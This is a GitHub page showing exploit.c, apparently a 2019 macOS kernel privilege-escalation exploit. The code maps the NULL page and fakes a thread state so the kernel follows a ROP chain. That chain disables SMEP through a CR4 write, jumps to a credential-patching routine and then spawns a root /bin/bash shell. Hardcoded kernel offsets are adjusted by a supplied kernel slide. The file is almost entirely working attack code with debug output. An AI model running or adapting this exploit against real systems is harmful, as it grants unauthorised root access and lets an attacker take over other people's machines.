-
Notifications
You must be signed in to change notification settings - Fork 43
/
exploit.c
152 lines (126 loc) · 4.57 KB
/
exploit.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
//
// exploit.c
//
// Created by Ilias Morad.
// Copyright © 2019 Ilias Morad. All rights reserved.
//
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include "definitions.h"
#include "gadgets.h"
#define DEBUG 1
// Used in kernel.s
extern uint64_t current_proc;
extern uint64_t proc_ucred;
extern uint64_t posix_cred_get;
extern uint64_t return_to_user;
extern void escalatePrivs(void);
// For debugging
void hexdump(const void* data, size_t size) {
char ascii[17];
size_t i, j;
ascii[16] = '\0';
for (i = 0; i < size; ++i) {
printf("%02X ", ((unsigned char*)data)[i]);
if (((unsigned char*)data)[i] >= ' ' && ((unsigned char*)data)[i] <= '~') {
ascii[i % 16] = ((unsigned char*)data)[i];
} else {
ascii[i % 16] = '.';
}
if ((i+1) % 8 == 0 || i+1 == size) {
printf(" ");
if ((i+1) % 16 == 0) {
printf("| %s \n", ascii);
} else if (i+1 == size) {
ascii[(i+1) % 16] = '\0';
if ((i+1) % 16 <= 8) {
printf(" ");
}
for (j = (i+1) % 16; j < 16; ++j) {
printf(" ");
}
printf("| %s \n", ascii);
}
}
}
}
void fail() {
puts("[-] Stopping exploit");
exit(-1);
}
int main(int argc, const char *argv[]) {
kern_return_t err = -1;
uint64_t kSlide = -1;
// after we return to userland our process state is super messed up
// in order to be able to get a "stable" environment
// our userland shellcode will just exec() itself again as root
if(getuid() == 0) {
puts("[+] Userland shellcode says hi!");
printf("[*] Patched uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid());
system("/bin/bash");
exit(0);
}
if(argc < 2) {
puts("[-] You need to provide the kernel slide.");
fail();
} else {
kSlide = strtol(argv[1], NULL, 0x10);
printf("[*] Kernel slide: 0x%llx\n", kSlide);
}
current_proc = 0xffffff8000968360 + kSlide;
proc_ucred = 0xffffff8000820d30 + kSlide;
posix_cred_get = 0xffffff80007ddbe0 + kSlide;
return_to_user = 0xffffff8000229680 + kSlide;
printf("[*] uid=0x%x euid=0x%x gid=0x%x egid=0x%x\n", getuid(), geteuid(), getgid(), getegid());
vm_address_t pageZero = 0x00;
err = vm_allocate(mach_task_self(), &pageZero, 0x1000, 0);
if(err != 0) {
printf("[-] vm_allocate(pageZero) returned %d\n", err);
fail();
}
memset(0,0,0x1000);
puts("[*] Mapped NULL Page to catch GS accesses");
vm_address_t fakeThread = 0;
err = vm_allocate(mach_task_self(), &fakeThread, 0x1000, VM_FLAGS_ANYWHERE);
if(err != 0) {
printf("[-] vm_allocate(fakeThread) returned %d\n", err);
fail();
}
printf("[*] Fake Thread is at: 0x%x\n", fakeThread);
uint64_t *fakeStack = (uint64_t *)0x5d000000;
vm_address_t fakeStackk = 0x5d000000;
err = vm_allocate(mach_task_self(), &fakeStackk, 0x1000, 0);
if(err != 0) {
printf("[-] vm_allocate(fakeStack) returned %d\n", err);
fail();
}
printf("[*] Fake Stack is at: 0x%x\n", (uint32_t)fakeStack);
x86_saved_state32_t state;
memset(&state, 0xFF, sizeof(x86_saved_state32_t));
state.gs = 0x23;
*(int64_t*)(pageZero+0x8) = fakeThread; // gs:0x8 = pointer to thread structure
*(int64_t*)(fakeThread+0x350) = ROP_PIVOT_STACK + kSlide; // thread->recover; This will be called the next time the
// kernel executes iretq
*(int64_t*)(pageZero+0x168) = 0x400+0x28; // stackpointer + 0x28 (not used)
*(int64_t*)(pageZero+0x400) = 0x4242424242424242; // [rsp] (not used)
puts("[+] SAVED_STATE32 setup done!");
// Disable SMEP
int sp = 0;
fakeStack[sp] = kSlide + ROP_POP_RAX ; ++sp;
fakeStack[sp] = CPU_DISABLE_SMEP ; ++sp;
fakeStack[sp] = kSlide + ROP_MOV_CR4_RAX ; ++sp;
// SMEP is disabled and we can jump to our userland code part
fakeStack[sp] = (uint64_t)escalatePrivs ; ++sp;
if(DEBUG) {
char c;
printf("[DEBUG] escalatePrivs: %p\n[DEBUG] SMEP disable ROP-Chain:\n", &escalatePrivs);
hexdump((const void *)fakeStackk, 0x20);
puts("[DEBUG] Waiting...");
// scanf(" %c", &c);
}
puts("[+] Here we go...");
thread_set_state(mach_thread_self(), x86_SAVED_STATE32, (thread_state_t) &state, x86_SAVED_STATE32_COUNT);
while(1) {}
return 0;
}